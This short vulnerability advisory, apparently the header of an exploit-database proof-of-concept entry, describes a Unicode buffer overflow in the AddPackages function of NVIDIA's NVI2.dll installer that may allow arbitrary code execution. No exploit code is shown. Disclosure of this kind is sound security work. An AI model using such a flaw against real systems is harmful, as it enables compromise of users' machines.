NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC
Vendor: NVIDIA Corporation
Product web page: http://www.nvidia.com
Affected version: 2.1002.85.551 (Driver: 306.97)
Summary: NVIDIA install core application for Windows.
Desc: The vulnerability is caused due to a boundary error in NVI2.DLL

in the 'AddPackages' function and can be exploited to cause a unicode
buffer overflow by inserting an overly long array of data which may
lead to execution of arbitrary code.
